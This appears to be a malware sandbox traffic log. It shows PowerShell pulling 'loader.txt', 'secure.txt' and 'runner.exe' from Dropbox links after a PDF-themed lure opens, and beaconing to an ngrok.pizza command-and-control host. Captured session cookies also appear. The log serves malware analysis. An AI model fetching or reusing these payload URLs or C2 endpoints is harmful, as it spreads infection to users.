_cs_s=1.0.0.9.1734614103044
Source: global traffic	HTTP traffic detected: POST /2/client_metrics/record HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 481sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.1.20
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18
Source: unknown	TCP traffic detected without corresponding DNS query: 162.125.4.18

Source: global traffic	HTTP traffic detected: GET /api/secure/7430a49b4ec2f1c77488485c5e23d0dd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 23glcrtmzxqgwfpq3oujitt.ngrok.pizzaConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/99z3idm9bfqz5ub9eti3w/secure.txt?rlkey=lf4wvvzm9z003npv2dbdqosx1&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgjWc5xou5HIFAE48gufSBlhHgo8LKDYylDYPmEnGULbt8e5KSCEgEKkQkNZJ03tF6XD-27FO7FTio5PCZSZdeXpsHCKW6fDUXhZoFUWxCtJc_7VshZiSUgJN_WQKQOBJ6F8P-AFRi1z9658m7VZzIiN/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/l080falpmqnxrd0e4zb2u/loader.txt?rlkey=d7n6vctas1qob3kqdiqef7ydc&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CggyE9x9tsooR8bgLLYezdmbtOFNiAhkcWHgTodDG_kvlOz8ZlHICIdjusZj2Lij6qiGT5o_NM2KpCcExTyd9gswV0BojrCyZrr5FQLTD4cJbLGX9gQMBEAEgyEVD4xhEyrOXL1RVovqELTK5EagwvHh/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf&request_id=d23cbb1880f84f85afefc10443038bea&time=1734612274 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.dropbox.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa37wT-hKvzNwSKnDfcuTKM7PpJ3fe1T3Rhm5pJVOamwDQ01obtQghBpb5sSp1qX3zxHKKcvFL8SbBiC1Bb6wiCWr5k1eO0o7hRyobnrH005C9TEHaeAXCntddfSkcf/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /metadata/7430a49b4ec2f1c77488485c5e23d0dd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 23glcrtmzxqgwfpq3oujitt.ngrok.pizzaConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pageview?ex=&pvt=n&la=en-GB&uc=0&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&dr=&dw=1280&dh=1024&ww=1280&wh=1024&sw=1280&sh=1024&uu=c480ecee-58fe-ab6f-a297-56b61f444401&sn=1&hd=1734612301&v=15.36.2&pid=5416&pn=1&r=352634 HTTP/1.1Host: c.contentsquare.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .0.1:/ws blob: wss://dsimports.dropbox.com/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https:// data: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; media-src https:// blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https:// blob: ; img-src https://* data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; base-uri 'self' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https:// blob: ; img-src https://* data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https:// data: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; media-src https:// blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; media-src https:// blob: ; img-src https://* data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; connect-src https:// ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/ https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ 